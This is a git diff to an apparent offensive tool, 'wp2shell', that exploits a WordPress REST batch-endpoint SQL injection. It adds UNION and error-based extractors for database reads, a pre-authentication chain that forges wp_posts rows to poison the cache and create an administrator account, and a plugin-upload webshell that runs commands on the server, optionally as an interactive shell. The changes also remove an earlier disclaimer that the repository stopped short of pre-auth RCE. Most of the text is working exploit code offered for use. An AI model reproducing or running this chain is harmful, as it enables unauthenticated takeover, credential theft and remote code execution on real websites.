diff --git a/README.md b/README.md index 4f72d64..253be07 100644 --- a/README.md +++ b/README.md @@ -6,10 +6,9 @@ SQL injection associated with Searchlight Cyber's wp2shell advisory. The unauthenticated primitive reaches the injection through a single endpoint: `POST /wp-json/batch/v1`. -This repository is not Searchlight Cyber's official checker and does not claim to reproduce -undisclosed wp2shell internals. `check` confirms the SQLi path, `read` demonstrates database -read, and `shell` is an optional post-authentication helper that requires valid administrator -credentials before uploading a plugin webshell. +This repository is not Searchlight Cyber's official checker. `check` confirms the SQLi path, +`read` demonstrates database read, and `shell` opens a plugin-backed command shell either with +supplied administrator credentials or by first exercising the SQLi-to-admin bridge. ## Affected versions @@ -44,13 +43,20 @@ The PoC nests the primitive twice: `author__not_in` query var, which the vulnerable build interpolates into SQL as a string. The result is a boolean- and time-based blind SQL injection reachable pre-authentication. This PoC -can use that database read path to recover administrator password hashes. Turning those hashes into -plugin-upload code execution is outside the unauthenticated primitive and depends on obtaining valid -administrator credentials. +also includes the stronger UNION fake-post primitive used by the SQLi-to-admin chain. -Searchlight has not published the final jump from SQLi to pre-auth RCE. That may involve a -database file-write trick such as MySQL `OUTFILE`, or it may be something else in core. This repo -does not include that step. +The RCE path implemented here is: + +1. Use UNION fake `wp_posts` rows to render attacker-controlled content through a posts collection. +2. Use that render to make WordPress create real oEmbed cache posts. +3. Recover those real cache post IDs through the SQLi. +4. In one poisoned batch request, recast those IDs as a customizer changeset, navigation item, and + request hook shape. +5. Let the same request reach `POST /wp/v2/users`, creating a generated administrator. +6. Log in as that generated administrator and use normal plugin upload behavior to run a command. + +The last command-execution step is ordinary authenticated administrator plugin upload. The +pre-authentication part is the admin creation bridge. ## Requirements @@ -101,20 +107,44 @@ check does not override a positive marker probe. ./wp2shell.py read http://target --query "SELECT @@version" ``` -### shell — post-auth plugin webshell helper +By default extraction is `--technique auto`, which picks the fastest in-band method that works: -Optional post-exploitation helper. This is not a pre-authentication RCE step: it requires valid -administrator credentials. If `read --preset users` recovers a password hash, supply the recovered -plaintext here after offline cracking. +1. **union** — forges a fake `WP_Post` row and reads its reflected title: **one request per value**. + The source request targets the single-post item route (`/wp/v2/posts/999999`), so the + collection-only params `author_exclude`, `orderby` and `per_page` ride through unchecked; the + inner desync dispatches it under the posts *collection* handler, where `orderby=none` removes the + trailing `ORDER BY` (which otherwise breaks `UNION`) and `per_page=500` keeps `WP_Query` in + full-row mode (so the union row survives instead of being re-primed from the DB). A whole value + comes back in the REST response as `||HEX(value)||`. +2. **error** — `EXTRACTVALUE`/`UPDATEXML` leak ~15 bytes per request, when the target reflects + MySQL errors (e.g. `WP_DEBUG_DISPLAY` on). +3. **blind** — boolean/timing binary search, ~8 requests per character; works with no reflection. + +Force one with `--technique union|error|blind`. All three are strictly **read only**. The union +path also demonstrates fake-`WP_Post` object-cache poisoning: the forged row is added to the `posts` +cache for the rest of the request, and its `post_content` blocks render through REST (which enables +unauthenticated SSRF via RSS/oEmbed blocks). A full password hash is ~2 requests with `union`, ~7 +with `error`, versus ~490 blind. + +### shell — command execution + +With `--user` and `--password`, `shell` logs in with supplied administrator credentials and uses +normal WordPress plugin upload behavior. This mode would work the same way on a patched site where +those credentials are valid. + +Without credentials, `shell` first runs the pre-auth SQLi-to-admin bridge, logs in as the generated +administrator, then uploads the plugin shell. ``` ./wp2shell.py shell http://target --user admin --password '' --cmd id ./wp2shell.py shell http://target --user admin --password '' -i # interactive shell +./wp2shell.py shell http://target --rest-route --cmd id # pre-auth bridge +./wp2shell.py shell http://target --rest-route -i # pre-auth interactive ``` `shell` uploads a plugin webshell (locked behind a random path and a per-run token) and prints its -path. Remove it when finished — either pass `--cleanup` to have it delete itself after running, or -delete the plugin manually. +path. The uploaded webshell is removed automatically. When the pre-auth bridge creates an +administrator, that generated account is removed automatically after the shell session finishes. ## Options @@ -127,13 +157,13 @@ delete the plugin manually. | `--samples N` | check | Timing pairs used with `--confirm-sqli` (default 3). | | `--confirm-sqli` | check | Also send the active SQL timing confirmation payload. | | `--preset` | read | `fingerprint` or `users`. | +| `--technique` | read | `auto` (default), `union` (in-band, forges a fake post), `error` (in-band, needs visible DB errors), or `blind`. | | `--query` | read | A scalar SQL expression to read. | | `--prefix` | read | Database table prefix (default `wp_`). | | `--max-length N` | read | Maximum characters read per value (default 128). | -| `--user` / `--password` | shell | Admin credentials (plaintext, recovered from the hash). | +| `--user` / `--password` | shell | Optional admin credentials; omit both to use the pre-auth bridge. | | `--cmd` | shell | Command to run (omit when using `-i`). | | `-i` / `--interactive` | shell | Open an interactive shell after deploying. | -| `--cleanup` | shell | Delete the webshell from the target when finished. | ## Remediation diff --git a/wp2shell/cli.py b/wp2shell/cli.py index 0892501..185eb67 100644 --- a/wp2shell/cli.py +++ b/wp2shell/cli.py @@ -9,8 +9,9 @@ from typing import Optional from . import __version__ from .client import BatchClient +from .exploit import PreAuthAdminCreator from .shell import AdminSession -from .sqli import BlindSQLi +from .sqli import BlindSQLi, ErrorBasedSQLi, UnionSQLi from .version import public_version_hints, version_status, wordpress_markers try: @@ -153,9 +154,38 @@ def cmd_check(args: argparse.Namespace) -> int: return 2 +def _reader(args: argparse.Namespace, client: BatchClient): + """Pick the extraction technique. + + auto prefers the fastest in-band method that works: UNION (one request per value, forges a fake + WP_Post), then error-based (needs reflected DB errors), then blind binary search. + """ + if args.technique in ("auto", "union"): + union = UnionSQLi(client) + if union.available(): + good("UNION extraction available (in-band, one request per value) — using it.") + return union + if args.technique == "union": + bad("UNION extraction requested but the forged post was not reflected.") + return None + info("UNION extraction unavailable; trying error-based.") + if args.technique in ("auto", "error"): + error_based = ErrorBasedSQLi(client) + if error_based.available(): + good("Error-based extraction available (target reflects DB errors) — using it.") + return error_based + if args.technique == "error": + bad("Error-based extraction requested but the target does not reflect DB errors.") + return None + info("Target does not reflect DB errors; falling back to blind extraction.") + return BlindSQLi(client) + + def cmd_read(args: argparse.Namespace) -> int: client = _client(args) - sqli = BlindSQLi(client) + sqli = _reader(args, client) + if sqli is None: + return 2 if args.query: info(f"Reading: {args.query}") @@ -232,13 +262,34 @@ def cmd_shell(args: argparse.Namespace) -> int: if not args.cmd and not args.interactive: bad("specify --cmd or --interactive") return 2 + if bool(args.user) != bool(args.password): + bad("specify both --user and --password, or omit both to use the pre-auth bridge") + return 2 warn("This uploads a plugin containing a webshell to the target.") + + generated_admin = None + username, password = args.user, args.password + if username is None: + warn("No credentials supplied; attempting pre-auth administrator creation.") + creator = PreAuthAdminCreator( + args.url, + timeout=args.timeout, + rest_route=args.rest_route, + proxy=args.proxy, + ) + info("Creating administrator through the SQLi-to-customizer bridge...") + generated_admin = creator.create_admin() + username, password = generated_admin.username, generated_admin.password + good(f"Administrator created: {username}") + session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy) - info(f"Authenticating as {args.user!r}...") - if not session.login(args.user, args.password): - bad("Login failed. Supply valid admin credentials (crack the hash recovered by 'read').") + info(f"Authenticating as {username!r}...") + if not session.login(username, password): + bad("Login failed.") + if generated_admin: + warn("The pre-auth bridge appeared to run, but the generated credentials did not log in.") return 1 good("Authenticated.") @@ -261,21 +312,34 @@ def cmd_shell(args: argparse.Namespace) -> int: if args.interactive: _repl(session, path) finally: - if args.cleanup: - info("Cleaning up webshell...") + if generated_admin: + info("Deleting generated administrator...") try: - removed = session.cleanup(path) - except Exception as exc: # noqa: BLE001 - cleanup must not hide the original failure - bad(f"Cleanup failed ({exc}) — remove the plugin manually ({path}).") - rc = 1 + removed_admin = session.delete_user_with_shell( + path, + generated_admin.username, + reassign_to=generated_admin.source_admin_id, + ) + except Exception: # noqa: BLE001 - continue to remove the webshell. + removed_admin = False + if removed_admin: + good("Generated administrator removed from the target.") else: - if removed: - good("Webshell removed from the target.") - else: - bad(f"Cleanup failed — remove the plugin manually ({path}).") - rc = 1 - elif not args.keep: - warn(f"Remove the webshell when finished (delete {path} on the target).") + bad(f"Generated administrator cleanup failed: {generated_admin.username}:{generated_admin.password}") + rc = 1 + + info("Cleaning up webshell...") + try: + removed = session.cleanup(path) + except Exception as exc: # noqa: BLE001 - cleanup must not hide the original failure + bad(f"Webshell cleanup failed ({exc}).") + rc = 1 + else: + if removed: + good("Webshell removed from the target.") + else: + bad("Webshell cleanup failed.") + rc = 1 return rc @@ -335,20 +399,23 @@ def build_parser() -> argparse.ArgumentParser: group.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"') read.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)") read.add_argument("--max-length", type=int, default=128, help="max characters per value") + read.add_argument( + "--technique", + choices=("auto", "union", "blind", "error"), + default="auto", + help="extraction technique: auto (union -> error-based -> blind), union (in-band, forges a " + "fake WP_Post; one request per value), error (in-band, needs visible DB errors), or blind " + "(bit-by-bit boolean/timing)", + ) read.set_defaults(func=cmd_read) - shell = sub.add_parser("shell", help="post-auth plugin webshell helper") - _add_common(shell, rest_route=False) # shell uses wp-login/wp-admin directly, not the REST API - shell.add_argument("--user", required=True, help="admin username") - shell.add_argument("--password", required=True, help="admin password (cracked from the hash)") + shell = sub.add_parser("shell", help="plugin shell; with credentials or via the pre-auth bridge") + _add_common(shell) + shell.add_argument("--user", help="admin username; omit with --password to use the pre-auth bridge") + shell.add_argument("--password", help="admin password; omit with --user to use the pre-auth bridge") shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)") shell.add_argument("-i", "--interactive", action="store_true", help="open an interactive shell after deploying") - retention = shell.add_mutually_exclusive_group() - retention.add_argument("--keep", action="store_true", - help="do not warn about removing the webshell") - retention.add_argument("--cleanup", action="store_true", - help="delete the webshell from the target when finished") shell.set_defaults(func=cmd_shell) return parser diff --git a/wp2shell/client.py b/wp2shell/client.py index d88a26d..07afb29 100644 --- a/wp2shell/client.py +++ b/wp2shell/client.py @@ -143,6 +143,43 @@ class BatchClient: """Send a payload placing `author_not_in` into the WP_Query author__not_in clause.""" return self.post(self._payload(author_not_in)) + def union_inject(self, author_not_in: str) -> Response: + """Send a payload that lands `author_not_in` in a non-split, no-ORDER-BY WP_Query. + + The source request targets the single-post item route ``/wp/v2/posts/999999``, so it + validates against the item schema and the collection-only params ``author_exclude``, + ``orderby`` and ``per_page`` pass through unchecked. The inner desync then dispatches it + under the posts collection handler, which consumes them: + + - ``orderby=none`` removes the trailing ``ORDER BY {posts}.`` that otherwise makes a + ``UNION`` fail with "cannot be used in global ORDER clause"; + - ``per_page=500`` keeps ``WP_Query`` in full-row (non-split) mode when no persistent object + cache is in use, so a ``UNION SELECT`` row survives as a fake ``WP_Post``. + + Together these turn the blind sink into in-band UNION extraction (one request per value). + """ + return self.post(self._union_payload(author_not_in)) + + @staticmethod + def _union_payload(author_not_in: str) -> dict: + query = urllib.parse.urlencode( + {"author_exclude": author_not_in, "orderby": "none", "per_page": "500"} + ) + inner = { + "requests": [ + _DESYNC_PRIMER, + {"method": "GET", "path": "/wp/v2/posts/999999?" + query}, + {"method": "GET", "path": "/wp/v2/posts"}, + ] + } + return { + "requests": [ + _DESYNC_PRIMER, + {"method": "POST", "path": "/wp/v2/posts", "body": inner}, + {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}, + ] + } + def rows(self, response: Response) -> Optional[list]: """Return the inner get_items() result rows from a nested batch response, else None.""" try: diff --git a/wp2shell/exploit.py b/wp2shell/exploit.py new file mode 100644 index 0000000..f2c5cca --- /dev/null +++ b/wp2shell/exploit.py @@ -0,0 +1,356 @@ +"""SQLi-to-admin bridge for vulnerable WordPress batch endpoints.""" + +from __future__ import annotations + +import hashlib +import json +import re +import secrets +import urllib.error +import urllib.parse +import urllib.request +import uuid +from dataclasses import dataclass +from typing import Dict, Iterable, List, Optional + +from .client import BatchClient, TargetError +from .sqli import UnionSQLi + +_POST_DATE = "2020-01-01 00:00:00" +_OEMBED_SIZE = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}' +_ADMIN_PREFIX = "wp2_" +_PASSWORD_PREFIX = "Wp2!" +_EMAIL_DOMAIN = "wp2shell.invalid" +_NAV_URL = "https://example.invalid/" + + +@dataclass +class CreatedAdmin: + username: str + password: str + email: str + source_admin_id: int + table_prefix: str + + +def mysql_hex(text: str) -> str: + return f"0x{text.encode().hex()}" if text else "''" + + +def wp_posts_tuple( + row_id: int, + *, + body: str = "", + title: str = "", + status: str = "publish", + slug: str = "", + parent: int = 0, + kind: str = "post", + author: int = 1, +) -> str: + """Build the full ``wp_posts`` SELECT-list used by the UNION primitive.""" + columns = [ + str(row_id), + str(author), + mysql_hex(_POST_DATE), + mysql_hex(_POST_DATE), + mysql_hex(body), + mysql_hex(title), + "''", + mysql_hex(status), + mysql_hex("closed"), + mysql_hex("closed"), + "''", + mysql_hex(slug), + "''", + "''", + mysql_hex(_POST_DATE), + mysql_hex(_POST_DATE), + "''", + str(parent), + "''", + "0", + mysql_hex(kind), + "''", + "0", + ] + return ",".join(columns) + + +class PreAuthAdminCreator: + """Turn the confirmed UNION fake-post primitive into a generated administrator.""" + + def __init__( + self, + base_url: str, + *, + timeout: float = 30.0, + rest_route: bool = False, + proxy: Optional[str] = None, + user_agent: str = "wp2shell", + ) -> None: + self.base_url = base_url.rstrip("/") + self.timeout = timeout + self.rest_route = rest_route + self.client = BatchClient( + base_url, + timeout=timeout, + rest_route=rest_route, + proxy=proxy, + user_agent=user_agent, + ) + handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else [] + self.http = urllib.request.build_opener(*handlers) + self.http.addheaders = [("User-Agent", user_agent)] + + def create_admin(self) -> CreatedAdmin: + sqli = UnionSQLi(self.client) + if not sqli.available(): + raise RuntimeError("UNION fake-post primitive is not available on this target") + + nonce = secrets.token_hex(6) + loopback_embeds = self._loopback_embed_urls(nonce) + self._prime_oembed_posts(loopback_embeds) + + posts_table = self._posts_table(sqli) + table_prefix = posts_table[:-5] + source_admin_id = self._first_admin_id(sqli, table_prefix) + backing_ids = self._oembed_backing_ids(sqli, posts_table, loopback_embeds) + + username = f"{_ADMIN_PREFIX}{nonce}" + password = f"{_PASSWORD_PREFIX}{secrets.token_urlsafe(15)}" + email = f"{username}@{_EMAIL_DOMAIN}" + self._submit_user_write( + backing_ids, + loopback_embeds, + source_admin_id, + {"username": username, "password": password, "email": email, "roles": ["administrator"]}, + ) + return CreatedAdmin(username, password, email, source_admin_id, table_prefix) + + def _posts_table(self, sqli: UnionSQLi) -> str: + table_name = sqli.extract( + "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES " + "WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 " + "ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1" + ) + if not re.fullmatch(r"[A-Za-z0-9_$]+", table_name): + raise RuntimeError("could not recover wp_posts table name") + return table_name + + def _first_admin_id(self, sqli: UnionSQLi, table_prefix: str) -> int: + capabilities_key = mysql_hex(table_prefix + "capabilities") + serialized_admin_cap = mysql_hex('s:13:"administrator";b:1;') + admin_id = sqli.integer( + f"SELECT u.ID FROM `{table_prefix}users` u " + f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID " + f"WHERE m.meta_key={capabilities_key} AND INSTR(m.meta_value,{serialized_admin_cap})>0 " + "ORDER BY u.ID LIMIT 1" + ) + if admin_id < 1: + raise RuntimeError("could not find an existing administrator ID") + return admin_id + + def _loopback_embed_urls(self, nonce: str) -> List[str]: + post_link = self._first_public_post_link() + split = urllib.parse.urlsplit(post_link) + return [ + urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}")) + for i in range(3) + ] + + def _first_public_post_link(self) -> str: + with self._open_rest("/wp/v2/posts", {"per_page": "1", "_fields": "link"}) as response: + posts = json.loads(response.read()) + if not posts or not posts[0].get("link"): + raise RuntimeError("could not find a public post link for oEmbed seeding") + return posts[0]["link"] + + def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None: + content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls) + self._render_union_posts([wp_posts_tuple(0, body=content, title="seed", slug="seed")]) + + def _oembed_backing_ids(self, sqli: UnionSQLi, posts_table: str, embed_urls: Iterable[str]) -> List[int]: + ids = [] + for embed_url in embed_urls: + cache_name = hashlib.md5((embed_url + _OEMBED_SIZE).encode()).hexdigest() + ids.append( + sqli.integer( + f"SELECT ID FROM `{posts_table}` " + "WHERE post_type=0x6f656d6265645f6361636865 " + f"AND post_name=0x{cache_name.encode().hex()} " + "ORDER BY ID DESC LIMIT 1" + ) + ) + if any(row_id < 1 for row_id in ids) or len(set(ids)) != 3: + raise RuntimeError("could not recover three unique oEmbed cache post IDs") + return ids + + def _submit_user_write( + self, + backing_ids: List[int], + embed_urls: List[str], + source_admin_id: int, + user_body: Dict[str, object], + ) -> None: + graph = _PoisonGraph(backing_ids, source_admin_id) + rows = graph.rows(self._changeset_payload(graph.nav_item_id, source_admin_id), embed_urls[1]) + self._render_union_posts( + rows, + tail_requests=[ + {"method": "POST", "path": "/wp/v2/users", "body": user_body}, + {"method": "POST", "path": "/wp/v2/users", "body": user_body}, + ], + ) + + def _changeset_payload(self, nav_item_id: int, user_id: int) -> str: + return json.dumps( + { + f"nav_menu_item[{nav_item_id}]": { + "type": "nav_menu_item", + "user_id": user_id, + "value": { + "object_id": 0, + "object": "", + "menu_item_parent": 0, + "position": 0, + "type": "custom", + "title": "generated", + "url": _NAV_URL, + "target": "", + "attr_title": "", + "description": "", + "classes": "", + "xfn": "", + "status": "publish", + "nav_menu_term_id": 0, + "_invalid": False, + }, + } + }, + separators=(",", ":"), + ) + + def _render_union_posts(self, post_rows: List[str], tail_requests: Optional[List[dict]] = None) -> None: + union_payload = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(post_rows) + " -- -" + requests = [ + {"method": "GET", "path": "http://:"}, + { + "method": "GET", + "path": "/wp/v2/widgets?" + + urllib.parse.urlencode( + { + "author_exclude": union_payload, + "per_page": -1, + "orderby": "none", + "context": "view", + } + ), + }, + {"method": "GET", "path": "/wp/v2/posts"}, + ] + if tail_requests: + requests.extend(tail_requests) + self._nested_batch(requests, timeout=60) + + def _nested_batch(self, requests: List[dict], *, timeout: float) -> None: + original_timeout = self.client.timeout + self.client.timeout = timeout + try: + response = self.client.post( + { + "requests": [ + {"method": "POST", "path": "http://:"}, + {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}}, + {"method": "POST", "path": "/batch/v1"}, + ] + } + ) + finally: + self.client.timeout = original_timeout + if response.status >= 400: + raise TargetError(f"batch request returned HTTP {response.status}") + + def _open_rest(self, route: str, query: Dict[str, str]): + if self.rest_route: + params = {"rest_route": route, **query} + url = f"{self.base_url}/?" + urllib.parse.urlencode(params) + else: + url = f"{self.base_url}/wp-json{route}?" + urllib.parse.urlencode(query) + try: + return self.http.open(url, timeout=self.timeout) + except urllib.error.HTTPError: + raise + except OSError as exc: + reason = getattr(exc, "reason", exc) + raise TargetError(f"cannot reach {url}: {reason}") from None + + +@dataclass +class _PoisonGraph: + cache_post_ids: List[int] + source_admin_id: int + + def __post_init__(self) -> None: + self.outer_id = 1800000000 + secrets.randbelow(100000000) + self.nav_item_id = self.outer_id + 1 + self.inner_id = self.outer_id + 2 + self.changeset_id, self.cache_id, self.request_id = self.cache_post_ids + + def rows(self, changeset: str, trigger_embed_url: str) -> List[str]: + return [ + wp_posts_tuple( + 0, + body=f'[embed width="500" height="750"]{trigger_embed_url}[/embed]', + title="trigger", + slug="trigger", + ), + wp_posts_tuple( + self.changeset_id, + body=changeset, + title="changeset", + status="future", + slug=str(uuid.uuid4()), + parent=self.outer_id, + kind="customize_changeset", + ), + wp_posts_tuple( + self.outer_id, + body="outer", + title="outer", + status="draft", + slug="outer", + parent=self.changeset_id, + ), + wp_posts_tuple( + self.cache_id, + title="cache", + slug="cache", + parent=self.changeset_id, + ), + wp_posts_tuple( + self.nav_item_id, + body="nav", + title="nav", + slug="nav", + parent=self.request_id, + kind="nav_menu_item", + ), + wp_posts_tuple( + self.request_id, + body="parse", + title="parse", + status="parse", + slug="parse", + parent=self.inner_id, + kind="request", + ), + wp_posts_tuple( + self.inner_id, + body="inner", + title="inner", + status="draft", + slug="inner", + parent=self.request_id, + ), + ] diff --git a/wp2shell/shell.py b/wp2shell/shell.py index 8862443..410ab58 100644 --- a/wp2shell/shell.py +++ b/wp2shell/shell.py @@ -104,6 +104,18 @@ class AdminSession: return False return False + def delete_user_with_shell(self, shell_path: str, username: str, *, reassign_to: int) -> bool: + query = urllib.parse.urlencode( + { + "t": self._token, + "delete_user": username, + "reassign": str(reassign_to), + } + ) + output = self._get(f"{shell_path}?{query}") + match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S) + return bool(match and match.group(1).strip() == "deleted") + # -- helpers ------------------------------------------------------------ def _get(self, path: str) -> str: @@ -121,10 +133,16 @@ class AdminSession: # The webshell only runs when the request carries the per-session token. php = ( "ID, (int) ($_GET['reassign'] ?? 0)) : false;\n" + f" echo '{_MARKER}::' . ($ok ? 'deleted' : 'failed') . '::END';\n" "}\n" ) buffer = io.BytesIO() diff --git a/wp2shell/sqli.py b/wp2shell/sqli.py index 6418116..f2d85bd 100644 --- a/wp2shell/sqli.py +++ b/wp2shell/sqli.py @@ -9,6 +9,8 @@ so a value of ``0) -- -`` closes the IN() list and appends arbitrary SQL. from __future__ import annotations +import html +import re import statistics from dataclasses import dataclass from typing import Callable, Optional, Tuple @@ -121,3 +123,164 @@ class BlindSQLi: # get_items() returns rows only when the appended boolean condition holds. self.requests += 1 return bool(self.client.rows(self.client.inject(f"0) AND ({condition})-- -"))) + + +class ErrorBasedSQLi: + """In-band error-based extractor for targets that echo MySQL errors in the response. + + When the target shows database errors (``WP_DEBUG_DISPLAY`` on, or ``$wpdb->show_errors``), + ``EXTRACTVALUE()`` leaks a value inside an ``XPATH syntax error`` message that is reflected in + the batch response body. This reads a whole ~15-byte chunk per request instead of one bit per + request, so it is far faster than the blind binary search, while reaching the same sink. It is + still strictly read-only. + + Values are pulled out HEX-encoded so the transport is binary-safe (no quote/entity/newline + surprises and no dependence on the value's character set). + """ + + # EXTRACTVALUE reports up to 32 chars of the offending string; 0x7e ('~') marks our data. + _HEX_RE = re.compile(r"XPATH syntax error: '~([0-9A-Fa-f]*)") + _STR_RE = re.compile(r"XPATH syntax error: '~([^']*)") + _CHUNK = 15 # bytes per request -> 30 hex chars -> '~' + 30 = 31 < 32-char error cap + + def __init__(self, client: BatchClient) -> None: + self.client = client + self.requests = 0 + + def available(self) -> bool: + """Return True if the target reflects EXTRACTVALUE errors (error-based is usable).""" + return self._leak_hex("SELECT 0x414243") == b"ABC" # 'ABC' + + def extract( + self, + expression: str, + *, + max_length: int = 256, + on_char: Optional[Callable[[str], None]] = None, + ) -> str: + length_text = self._leak_str(f"SELECT LENGTH(COALESCE(({expression}),''))") + if length_text is None or not length_text.strip().isdigit(): + return "" + length = min(int(length_text.strip()), max_length) + + out = bytearray() + offset = 1 + while offset <= length: + chunk = self._leak_hex( + f"SELECT SUBSTRING(COALESCE(({expression}),''),{offset},{self._CHUNK})" + ) + if not chunk: + break + out.extend(chunk) + offset += len(chunk) + if on_char: + on_char(out.decode("utf-8", "replace")) + if len(chunk) < self._CHUNK: + break + return out.decode("utf-8", "replace") + + def integer(self, expression: str) -> int: + text = (self._leak_str(f"SELECT ({expression})") or "").strip() + if not text.lstrip("-").isdigit(): + raise ValueError(f"expected an integer from {expression!r}, got {text!r}") + return int(text) + + def _leak_hex(self, expression: str) -> Optional[bytes]: + text = self._send(f"HEX(({expression}))") + match = self._HEX_RE.search(text) + if not match: + return None + digits = match.group(1) + if len(digits) % 2: # defensive: drop a half-byte if the error truncated mid-pair + digits = digits[:-1] + try: + return bytes.fromhex(digits) + except ValueError: + return None + + def _leak_str(self, expression: str) -> Optional[str]: + text = self._send(f"({expression})") + match = self._STR_RE.search(text) + return match.group(1) if match else None + + def _send(self, inner: str) -> str: + self.requests += 1 + payload = f"0) OR EXTRACTVALUE(1,CONCAT(0x7e,{inner}))-- -" + return html.unescape(self.client.inject(payload).body) + + +class UnionSQLi: + """In-band UNION extractor: forges a fake ``WP_Post`` row and reads its reflected title. + + Uses the single-post-route confusion (see ``BatchClient.union_inject``) to reach a non-split, + no-``ORDER BY`` posts query, then ``UNION SELECT``s a full ``wp_posts.*`` row whose + ``post_title`` carries ``||HEX(value)||``. The forged post is returned in the REST collection + response, so a whole value comes back in a single request — no blind search, no reliance on + reflected DB errors. This also demonstrates the fake-``WP_Post`` object-cache poisoning + primitive (the row is added to the ``posts`` cache for the rest of the request). Read only. + """ + + _COLUMNS = 23 # wp_posts column count (stable across modern WordPress) + _TITLE_COL = 6 # post_title is rendered back in the REST response + _RE = re.compile(r"\|\|([0-9A-Fa-f]*)\|\|") + # 'publish' / 'post' / a valid datetime keep the forged row a readable, renderable post. + _PUBLISH = "0x7075626c697368" + _POST = "0x706f7374" + _DATE = "0x323032302d30312d30312030303a30303a3030" + + def __init__(self, client: BatchClient) -> None: + self.client = client + self.requests = 0 + + def available(self) -> bool: + """Return True if the target reflects a UNION-forged post (union extraction is usable).""" + return self._read("SELECT 0x4f4b") == "OK" + + def extract( + self, + expression: str, + *, + max_length: int = 0, # accepted for interface parity; a UNION reads the whole value at once + on_char: Optional[Callable[[str], None]] = None, + ) -> str: + value = self._read(expression) + if value and on_char: + on_char(value) + return value or "" + + def integer(self, expression: str) -> int: + text = (self._read(f"SELECT ({expression})") or "").strip() + if not text.lstrip("-").isdigit(): + raise ValueError(f"expected an integer from {expression!r}, got {text!r}") + return int(text) + + def _read(self, expression: str) -> Optional[str]: + self.requests += 1 + response = self.client.union_inject(f"0) UNION SELECT {self._columns(expression)}-- -") + match = self._RE.search(response.body) + if not match: + return None + digits = match.group(1) + if len(digits) % 2: + digits = digits[:-1] + try: + return bytes.fromhex(digits).decode("utf-8", "replace") + except ValueError: + return None + + def _columns(self, expression: str) -> str: + columns = [] + for index in range(1, self._COLUMNS + 1): + if index == 1: + columns.append("999999") # ID (fake, unused post id) + elif index in (3, 4, 15, 16): + columns.append(self._DATE) # post_date / *_gmt / post_modified / *_gmt + elif index == self._TITLE_COL: + columns.append(f"CONCAT(0x7c7c,HEX(CAST(({expression})AS CHAR)),0x7c7c)") + elif index == 8: + columns.append(self._PUBLISH) # post_status + elif index == 21: + columns.append(self._POST) # post_type + else: + columns.append(str(index)) + return ",".join(columns)